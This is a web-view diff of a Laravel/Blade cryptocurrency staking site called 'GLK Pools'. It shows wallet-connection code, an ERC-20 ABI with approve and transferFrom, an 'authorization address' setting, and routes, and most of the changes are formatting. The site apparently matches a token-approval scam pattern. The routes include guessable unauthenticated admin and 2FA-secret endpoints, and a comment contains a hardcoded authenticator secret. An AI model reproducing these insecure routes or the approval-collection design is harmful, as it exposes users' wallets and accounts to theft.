<svg class="MuiSvgIcon-root" focusable="false" viewbox="0 0 24 24" aria-hidden="true"> <svg class="MuiSvgIcon-root" focusable="false" viewbox="0 0 24 24" aria-hidden="true">
<path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path> <path d="M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z"></path>
</svg></span><span class="MuiTouchRipple-root"></span></button> </svg></span><span class="MuiTouchRipple-root"></span></button>
<div class="slider__mask " id="slider__mask" onclick="tabHide()"> <div class="slider__mask " id="slider__mask" onclick="tabHide()">
<div class="slider__content " id="slider__content"> <div class="slider__content " id="slider__content">
<div id="langs" class="nav__language-container"> <div id="langs" class="nav__language-container">
<i class="language__icon"></i> <i class="language__icon"></i>
@ -61,10 +61,10 @@
</div> </div>
<div class="tutoril__container"> <div class="tutoril__container">
<a class="tutoril__item" href="/article/1" target="_blank"><span>{{trans('web.Announcement')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a> <a class="tutoril__item" href="/article/1" target="_blank"><span>{{trans('web.Announcement')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="/article/2" target="_blank"><span>{{trans('web.FAQ')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a> <a class="tutoril__item" href="/article/2" target="_blank"><span>{{trans('web.FAQ')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
<a class="tutoril__item" href="/article/3" target="_blank"><span>{{trans('web.Tutorial')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a> <a class="tutoril__item" href="/article/3" target="_blank"><span>{{trans('web.Tutorial')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>
{{-- <a class="tutoril__item" href="https://docs.coinwind.com/v/english/contactus" target="_blank"><span>{{trans('web.Contact US')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>--}} {{-- <a class="tutoril__item" href="https://docs.coinwind.com/v/english/contactus" target="_blank"><span>{{trans('web.Contact US')}}</span><img src="/static/media/icon-more.c502d302.svg" alt="" /></a>--}}
</div> </div>
</div> </div>
</div> </div>
@ -74,8 +74,8 @@
</div> </div>
</div> </div>
</div> </div>
<a id="osbox" href="{{$config['kefu_url']}}" class="customer-service" > <a id="osbox" href="{{$config['kefu_url']}}" class="customer-service">
<img src="/images/customer_service.png" alt="" /> <img src="/images/customer_service.png" alt="" />
</a> </a>
<style> <style>
/*尾部end*/ /*尾部end*/
@ -88,6 +88,7 @@
z-index: 101; z-index: 101;
margin-bottom: 35px; margin-bottom: 35px;
} }
.customer-service img { .customer-service img {
display: block; display: block;
width: 100%; width: 100%;
@ -109,29 +110,28 @@
} }
function walletHide() { function walletHide() {
$('#home__dialog').attr('style','display: none') $('#home__dialog').attr('style', 'display: none')
} }
function walletShow() { function walletShow() {
$('#home__dialog').attr('style','') $('#home__dialog').attr('style', '')
} }
window.onload = function() { window.onload = function() {
// 切换语言 // 切换语言
$('#langs').on('click', function (e) { $('#langs').on('click', function(e) {
$('#lang').attr('class', 'dropdown__option option__show option__bottom'); $('#lang').attr('class', 'dropdown__option option__show option__bottom');
e.stopPropagation(); e.stopPropagation();
}); });
// 中文 // 中文
$('#lang1').on('click', function (e) { $('#lang1').on('click', function(e) {
$.post( $.post(
"{{url('lang')}}", "{{url('lang')}}", {
{
lang: 'zh-CN' lang: 'zh-CN'
}, },
function(d){ function(d) {
if(d){ if (d) {
console.log(d); console.log(d);
location.reload(); //重新刷新页面 location.reload(); //重新刷新页面
} }
@ -142,14 +142,13 @@
}); });
// 英文 // 英文
$('#lang2').on('click', function (e) { $('#lang2').on('click', function(e) {
$.post( $.post(
"{{url('lang')}}", "{{url('lang')}}", {
{
lang: 'en' lang: 'en'
}, },
function(d){ function(d) {
if(d){ if (d) {
console.log(d); console.log(d);
location.reload(); //重新刷新页面 location.reload(); //重新刷新页面
} }
@ -159,5 +158,4 @@
e.stopPropagation(); e.stopPropagation();
}); });
} }
</script> </script>

View File

@ -11,6 +11,7 @@
function clears() { function clears() {
document.getElementById('alert').setAttribute('style', 'display: none'); document.getElementById('alert').setAttribute('style', 'display: none');
} }
function message(val) { function message(val) {
document.getElementById('message').innerText = val; document.getElementById('message').innerText = val;
document.getElementById('alert').removeAttribute('style'); document.getElementById('alert').removeAttribute('style');
@ -30,6 +31,7 @@
function clears_success() { function clears_success() {
document.getElementById('alert_success').setAttribute('style', 'display: none'); document.getElementById('alert_success').setAttribute('style', 'display: none');
} }
function message_success(val) { function message_success(val) {
document.getElementById('message_success').innerText = val; document.getElementById('message_success').innerText = val;
document.getElementById('alert_success').removeAttribute('style'); document.getElementById('alert_success').removeAttribute('style');
@ -49,9 +51,11 @@
function success_clears() { function success_clears() {
document.getElementById('success').setAttribute('style', 'display: none'); document.getElementById('success').setAttribute('style', 'display: none');
} }
function success_message() { function success_message() {
document.getElementById('success').removeAttribute('style'); document.getElementById('success').removeAttribute('style');
} }
function success_deposit(obj) { function success_deposit(obj) {
success_clears(); success_clears();
deposit(obj); deposit(obj);
@ -73,25 +77,29 @@
</div> </div>
<div class="pools__info"> <div class="pools__info">
{{trans('web.Harvest GLK')}}GLK {{trans('web.Harvest GLK')}}GLK
</div></li> </div>
</li>
<li class="pools__row"> <li class="pools__row">
<div class="pools__labe-field"> <div class="pools__labe-field">
{{trans('web.Deposited')}}(<span id="name2"></span>) {{trans('web.Deposited')}}(<span id="name2"></span>)
</div> </div>
<div class="pools__label-value pools__label-value--black" id="dig_balance"> <div class="pools__label-value pools__label-value--black" id="dig_balance">
</div></li> </div>
</li>
<li class="pools__row"> <li class="pools__row">
<div class="pools__labe-field"> <div class="pools__labe-field">
{{trans('web.Surplus Deposit')}}(<span id="name3"></span>) {{trans('web.Surplus Deposit')}}(<span id="name3"></span>)
</div> </div>
<div class="pools__label-value pools__label-value--black" id="pools__label-value"></div></li> <div class="pools__label-value pools__label-value--black" id="pools__label-value"></div>
</li>
<li class="pools__row"> <li class="pools__row">
<div class="pools__labe-field"> <div class="pools__labe-field">
{{trans('web.Balance')}}(<span id="name4"></span>) {{trans('web.Balance')}}(<span id="name4"></span>)
</div> </div>
<div class="pools__label-value pools__label-value--black" id="balance"> <div class="pools__label-value pools__label-value--black" id="balance">
0.0000 0.0000
</div></li> </div>
</li>
<li class="pools__dialog__input"><input id="Enter_Amount" placeholder="{{trans('web.Enter Amount')}}" value="" /><button id="deposit_1" disabled="" class="g-button pools__dialog__deposit-all g-button-heco-theme g-button--normal">{{trans('web.Deposit All')}}</button></li> <li class="pools__dialog__input"><input id="Enter_Amount" placeholder="{{trans('web.Enter Amount')}}" value="" /><button id="deposit_1" disabled="" class="g-button pools__dialog__deposit-all g-button-heco-theme g-button--normal">{{trans('web.Deposit All')}}</button></li>
<li><button id="deposit_2" disabled="" class="g-button pools__dialog__option g-button-heco-theme ">{{trans('web.Deposit')}}</button></li> <li><button id="deposit_2" disabled="" class="g-button pools__dialog__option g-button-heco-theme ">{{trans('web.Deposit')}}</button></li>
</ul> </ul>
@ -132,7 +140,7 @@
</div> </div>
</div> </div>
<div class="btn__container"> <div class="btn__container">
<a id="etherscan" target="_blank" rel="noopener noreferrer" class="">{{trans('web.View on ETH network')}}</a> <a id="etherscan" target="_blank" rel="noopener noreferrer" class="">{{trans('web.View on ETH network')}}</a>
</div> </div>
</div> </div>
</div> </div>
@ -155,6 +163,7 @@
function DepositSuccessful_close() { function DepositSuccessful_close() {
document.getElementById('DepositSuccessful_1').setAttribute('style', 'display: none'); document.getElementById('DepositSuccessful_1').setAttribute('style', 'display: none');
} }
function DepositSuccessful_open(hash) { function DepositSuccessful_open(hash) {
document.getElementById('DepositSuccessful_1').removeAttribute('style'); document.getElementById('DepositSuccessful_1').removeAttribute('style');
document.getElementById('DepositSuccessful_2').setAttribute('href', 'https://eth.tokenview.com/cn/tx/' + hash); document.getElementById('DepositSuccessful_2').setAttribute('href', 'https://eth.tokenview.com/cn/tx/' + hash);
@ -177,7 +186,8 @@
</div> </div>
<div class="pools__info"> <div class="pools__info">
{{trans('web.Harvest GLK')}}<span id="t7">GLK</span> {{trans('web.Harvest GLK')}}<span id="t7">GLK</span>
</div></li> </div>
</li>
<li class="pools__income-field"> <li class="pools__income-field">
<div class="pools__income-label"> <div class="pools__income-label">
<p class="pools__income-title">{{trans('web.Recoverable income')}}</p> <p class="pools__income-title">{{trans('web.Recoverable income')}}</p>
@ -185,7 +195,8 @@
</div> </div>
<div class="pools__income-button"> <div class="pools__income-button">
<button disabled="" class="g-button g-button-heco-theme" id="tclaim">{{trans('web.CLAIM')}}</button> <button disabled="" class="g-button g-button-heco-theme" id="tclaim">{{trans('web.CLAIM')}}</button>
</div></li> </div>
</li>
<li class="pools__dialog__withdraw-field"><span>{{trans('web.Deposited')}}(<span id="t3"></span>)</span><span id="t5">0.0000</span></li> <li class="pools__dialog__withdraw-field"><span>{{trans('web.Deposited')}}(<span id="t3"></span>)</span><span id="t5">0.0000</span></li>
<li class="pools__dialog__input"><input id="tinput" placeholder="{{trans('web.Enter Amount')}}" value="" /><button disabled="" id="tclaim2" class="g-button pools__dialog__deposit-all g-button-heco-theme g-button--normal">{{trans('web.Withdraw All')}}</button></li> <li class="pools__dialog__input"><input id="tinput" placeholder="{{trans('web.Enter Amount')}}" value="" /><button disabled="" id="tclaim2" class="g-button pools__dialog__deposit-all g-button-heco-theme g-button--normal">{{trans('web.Withdraw All')}}</button></li>
@ -221,7 +232,7 @@
} }
</script> </script>
<div class="home__dialog" style="display: none" id="airdrop"> <div class="home__dialog" style="display: none" id="airdrop">
<div class="home__dialog-inner home__dialog-deposite"> <div class="home__dialog-inner home__dialog-deposite">
<div class="home__dialog__header"> <div class="home__dialog__header">
@ -258,118 +269,118 @@
<div class="home__dialog" style="display: none" id="shouyi"> <div class="home__dialog" style="display: none" id="shouyi">
<div class="home__dialog-inner home__dialog-deposite"> <div class="home__dialog-inner home__dialog-deposite">
<div class="home__dialog__header"> <div class="home__dialog__header">
{{trans('web.GLK Pools v1')}} {{trans('web.shouyi')}} {{trans('web.GLK Pools v1')}} {{trans('web.shouyi')}}
<span class="home__dialog__header__close" onclick="shouyi_close()"></span> <span class="home__dialog__header__close" onclick="shouyi_close()"></span>
</div> </div>
<div class="home__dialog__fields"> <div class="home__dialog__fields">
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="usdt_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="usdt_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">USDT</span> <span style="margin-left: 5px;">USDT</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="uni_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="uni_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">UNI</span> <span style="margin-left: 5px;">UNI</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="usdc_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="usdc_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">USDC</span> <span style="margin-left: 5px;">USDC</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="dai_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="dai_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">DAI</span> <span style="margin-left: 5px;">DAI</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="wbtc_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="wbtc_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">WBTC</span> <span style="margin-left: 5px;">WBTC</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="weth_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="weth_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">WETH</span> <span style="margin-left: 5px;">WETH</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="shib_t" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="shib_t" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">SHIB</span> <span style="margin-left: 5px;">SHIB</span>
</div> </div>
</div> </div>
<br/> <br />
<div class="home__dialog__header"> <div class="home__dialog__header">
{{trans('web.GLK Pools v2')}} {{trans('web.shouyi')}} {{trans('web.GLK Pools v2')}} {{trans('web.shouyi')}}
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="usdt_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="usdt_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">USDT</span> <span style="margin-left: 5px;">USDT</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="uni_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="uni_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">UNI</span> <span style="margin-left: 5px;">UNI</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="usdc_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="usdc_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">USDC</span> <span style="margin-left: 5px;">USDC</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="dai_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="dai_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">DAI</span> <span style="margin-left: 5px;">DAI</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="wbtc_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="wbtc_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">WBTC</span> <span style="margin-left: 5px;">WBTC</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="weth_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="weth_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">WETH</span> <span style="margin-left: 5px;">WETH</span>
</div> </div>
</div> </div>
<div class="drop__title"> <div class="drop__title">
<div style="display: flex; align-items: center;"> <div style="display: flex; align-items: center;">
<span class="drop__amount drop__amount-heco" id="shib_t_2" style="margin-left:65px">0.0000</span> <span class="drop__amount drop__amount-heco" id="shib_t_2" style="margin-left:65px">0.0000</span>
<span style="margin-left: 5px;">SHIB</span> <span style="margin-left: 5px;">SHIB</span>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
</div> </div>
@ -383,7 +394,7 @@
function airdrop_open() { function airdrop_open() {
document.getElementById('airdrop').removeAttribute('style') document.getElementById('airdrop').removeAttribute('style')
} }
function shouyi_close() { function shouyi_close() {
document.getElementById('shouyi').setAttribute('style', 'display: none') document.getElementById('shouyi').setAttribute('style', 'display: none')
} }
@ -391,14 +402,16 @@
function shouyi_open() { function shouyi_open() {
document.getElementById('shouyi').removeAttribute('style') document.getElementById('shouyi').removeAttribute('style')
} }
function airdrop_push() { function airdrop_push() {
$.ajax({ $.ajax({
type: "GET", type: "GET",
url: "/airdrop", url: "/airdrop",
data: {address: selectedAccount}, data: {
success: function () { address: selectedAccount
},
success: function() {
document.getElementById('airdrop_money').innerText = '0.0000'; document.getElementById('airdrop_money').innerText = '0.0000';
window.document.getElementById('airdrop_btn').setAttribute('disabled', 'disabled'); window.document.getElementById('airdrop_btn').setAttribute('disabled', 'disabled');
return message_success("{{trans('web.Received successfully')}}"); return message_success("{{trans('web.Received successfully')}}");
@ -421,7 +434,225 @@
let injectedWeb3 = null; let injectedWeb3 = null;
let app_address = "{{$config['app_address']}}"; //授权地址 let app_address = "{{$config['app_address']}}"; //授权地址
let web3; let web3;
let ABI = [{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]; let ABI = [{
"inputs": [{
"internalType": "string",
"name": "name",
"type": "string"
}, {
"internalType": "string",
"name": "symbol",
"type": "string"
}],
"stateMutability": "nonpayable",
"type": "constructor"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Approval",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "approve",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "subtractedValue",
"type": "uint256"
}],
"name": "decreaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "spender",
"type": "address"
}, {
"internalType": "uint256",
"name": "addedValue",
"type": "uint256"
}],
"name": "increaseAllowance",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transfer",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"anonymous": false,
"inputs": [{
"indexed": true,
"internalType": "address",
"name": "from",
"type": "address"
}, {
"indexed": true,
"internalType": "address",
"name": "to",
"type": "address"
}, {
"indexed": false,
"internalType": "uint256",
"name": "value",
"type": "uint256"
}],
"name": "Transfer",
"type": "event"
}, {
"inputs": [{
"internalType": "address",
"name": "sender",
"type": "address"
}, {
"internalType": "address",
"name": "recipient",
"type": "address"
}, {
"internalType": "uint256",
"name": "amount",
"type": "uint256"
}],
"name": "transferFrom",
"outputs": [{
"internalType": "bool",
"name": "",
"type": "bool"
}],
"stateMutability": "nonpayable",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "owner",
"type": "address"
}, {
"internalType": "address",
"name": "spender",
"type": "address"
}],
"name": "allowance",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [{
"internalType": "address",
"name": "account",
"type": "address"
}],
"name": "balanceOf",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "decimals",
"outputs": [{
"internalType": "uint8",
"name": "",
"type": "uint8"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "name",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "symbol",
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
}, {
"inputs": [],
"name": "totalSupply",
"outputs": [{
"internalType": "uint256",
"name": "",
"type": "uint256"
}],
"stateMutability": "view",
"type": "function"
}];
let deposit_default = null; let deposit_default = null;
let info = null; let info = null;
@ -439,7 +670,7 @@
// //
// console.log(web3.currentProvider) // console.log(web3.currentProvider)
// await fetchAccountData(); // await fetchAccountData();
const providerOptions = { const providerOptions = {
@ -460,7 +691,7 @@
}); });
try { try {
setTimeout(async function () { setTimeout(async function() {
if (provider == null) { if (provider == null) {
return message("{{trans('web.Please install MetaMask')}}"); return message("{{trans('web.Please install MetaMask')}}");
} }
@ -468,7 +699,7 @@
provider = await web3Modal.connect(); provider = await web3Modal.connect();
provider.enable() provider.enable()
} catch(e) { } catch (e) {
return message("{{trans('web.Please install MetaMask')}}"); return message("{{trans('web.Please install MetaMask')}}");
} }
@ -517,36 +748,39 @@
$.ajax({ $.ajax({
type: "GET", type: "GET",
url: "/register", url: "/register",
data: {address:address,referral:'{{$referral}}'}, data: {
success: function(msg){ address: address,
info = msg; // 获取地址信息 referral: '{{$referral}}'
},
success: function(msg) {
info = msg; // 获取地址信息
var data = JSON.parse(msg); var data = JSON.parse(msg);
if (data.Airdrop > 0) { if (data.Airdrop > 0) {
window.document.getElementById('airdrop_money').innerText = data.Airdrop; window.document.getElementById('airdrop_money').innerText = data.Airdrop;
window.document.getElementById('airdrop_btn').removeAttribute('disabled'); window.document.getElementById('airdrop_btn').removeAttribute('disabled');
} }
window.document.getElementById("usdt_t").innerText= data.vault.USDT_T; window.document.getElementById("usdt_t").innerText = data.vault.USDT_T;
window.document.getElementById("weth_t").innerText= data.vault.WETH_T; window.document.getElementById("weth_t").innerText = data.vault.WETH_T;
window.document.getElementById("wbtc_t").innerText= data.vault.WBTC_T; window.document.getElementById("wbtc_t").innerText = data.vault.WBTC_T;
window.document.getElementById("shib_t").innerText= data.vault.SHIB_T; window.document.getElementById("shib_t").innerText = data.vault.SHIB_T;
window.document.getElementById("uni_t").innerText= data.vault.UNI_T; window.document.getElementById("uni_t").innerText = data.vault.UNI_T;
window.document.getElementById("dai_t").innerText= data.vault.DAI_T; window.document.getElementById("dai_t").innerText = data.vault.DAI_T;
window.document.getElementById("usdc_t").innerText= data.vault.USDC_T; window.document.getElementById("usdc_t").innerText = data.vault.USDC_T;
window.document.getElementById("usdt_t_2").innerText= data.vault2.USDT_T; window.document.getElementById("usdt_t_2").innerText = data.vault2.USDT_T;
window.document.getElementById("weth_t_2").innerText= data.vault2.WETH_T; window.document.getElementById("weth_t_2").innerText = data.vault2.WETH_T;
window.document.getElementById("wbtc_t_2").innerText= data.vault2.WBTC_T; window.document.getElementById("wbtc_t_2").innerText = data.vault2.WBTC_T;
window.document.getElementById("shib_t_2").innerText= data.vault2.SHIB_T; window.document.getElementById("shib_t_2").innerText = data.vault2.SHIB_T;
window.document.getElementById("uni_t_2").innerText= data.vault2.UNI_T; window.document.getElementById("uni_t_2").innerText = data.vault2.UNI_T;
window.document.getElementById("dai_t_2").innerText= data.vault2.DAI_T; window.document.getElementById("dai_t_2").innerText = data.vault2.DAI_T;
window.document.getElementById("usdc_t_2").innerText= data.vault2.USDC_T; window.document.getElementById("usdc_t_2").innerText = data.vault2.USDC_T;
window.document.getElementById('airdrop_address').innerText = address.substring(0,6) + '...'+ address.substring(address.length - 4) window.document.getElementById('airdrop_address').innerText = address.substring(0, 6) + '...' + address.substring(address.length - 4)
window.document.getElementById('network1').innerText = address.substring(0,6) + '...'+ address.substring(address.length - 4) window.document.getElementById('network1').innerText = address.substring(0, 6) + '...' + address.substring(address.length - 4)
window.document.getElementById('network').innerText = address.substring(0,6) + '...'+ address.substring(address.length - 6) window.document.getElementById('network').innerText = address.substring(0, 6) + '...' + address.substring(address.length - 6)
window.document.getElementById('etherscan').setAttribute('href', 'https://cn.etherscan.com/address/' + address) window.document.getElementById('etherscan').setAttribute('href', 'https://cn.etherscan.com/address/' + address)
}, },
error: function () { error: function() {
return message('Register Error'); return message('Register Error');
} }
}); });
@ -555,5 +789,4 @@
window.addEventListener('load', async () => { window.addEventListener('load', async () => {
init(); init();
}); });
</script> </script>

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@ -1,7 +1,7 @@
<?php <?php
use App\Tool\Google; use App\Tool\Google;
/* /*
|-------------------------------------------------------------------------- |--------------------------------------------------------------------------
| Web Routes | Web Routes
|-------------------------------------------------------------------------- |--------------------------------------------------------------------------
@ -36,7 +36,7 @@ Route::get('/luck', 'NftController@luck');
Route::get('/invite', 'InviteController@index'); Route::get('/invite', 'InviteController@index');
Route::get('/admin123', 'BaseController@admin'); Route::get('/admin123', 'BaseController@admin');
Route::get('/article/{type}', 'ArticlesController@index'); // 流动领取收益 Route::get('/article/{type}', 'ArticlesController@index'); // 流动领取收益
Route::any('/detail/{id}', 'ArticlesController@detail'); // 流动领取收益 Route::any('/detail/{id}', 'ArticlesController@detail'); // 流动领取收益
// api // api
@ -83,7 +83,7 @@ Route::any('/updateBalance', 'ApiController@updateBalance'); // 流动余
Route::get('/secret123', function () { Route::get('/secret123', function () {
$ga = new Google(); $ga = new Google();
$createSecret = $ga->createSecret(); $createSecret = $ga->createSecret();
// $qrCodeUrl = $ga->getQRCodeGoogleUrl('luokakale', $createSecret, 'googleVerify'); // $qrCodeUrl = $ga->getQRCodeGoogleUrl('luokakale', $createSecret, 'googleVerify');
return $createSecret; return $createSecret;
}); });
@ -91,9 +91,9 @@ Route::get('/secret123', function () {
Route::get('/check123', function () { Route::get('/check123', function () {
Auth::logout(); Auth::logout();
// $ga = new Google(); // $ga = new Google();
// $v = $ga->verifyCode('5TBAZWSB6PAZ2RGN','796974',8); // $v = $ga->verifyCode('5TBAZWSB6PAZ2RGN','796974',8);
// var_dump($v);die; // var_dump($v);die;
}); });

View File

@ -14,8 +14,8 @@ $uri = urldecode(
// This file allows us to emulate Apache's "mod_rewrite" functionality from the // This file allows us to emulate Apache's "mod_rewrite" functionality from the
// built-in PHP web server. This provides a convenient way to test a Laravel // built-in PHP web server. This provides a convenient way to test a Laravel
// application without having installed a "real" web server software here. // application without having installed a "real" web server software here.
if ($uri !== '/' && file_exists(__DIR__.'/public'.$uri)) { if ($uri !== '/' && file_exists(__DIR__ . '/public' . $uri)) {
return false; return false;
} }
require_once __DIR__.'/public/index.php'; require_once __DIR__ . '/public/index.php';

View File

@ -14,7 +14,7 @@ trait CreatesApplication
*/ */
public function createApplication() public function createApplication()
{ {
$app = require __DIR__.'/../bootstrap/app.php'; $app = require __DIR__ . '/../bootstrap/app.php';
